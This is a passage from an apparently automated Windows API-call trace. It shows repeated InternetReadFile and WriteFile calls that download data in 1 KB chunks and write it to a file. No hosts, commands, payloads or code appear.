[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.593] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.594] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.595] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.599] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.599] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.599] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.599] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.599] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.599] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.599] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.599] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.600] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.600] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.600] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.600] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.600] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.602] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.602] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.602] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.602] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.603] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.604] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.605] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.605] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.605] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.605] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.605] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.606] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
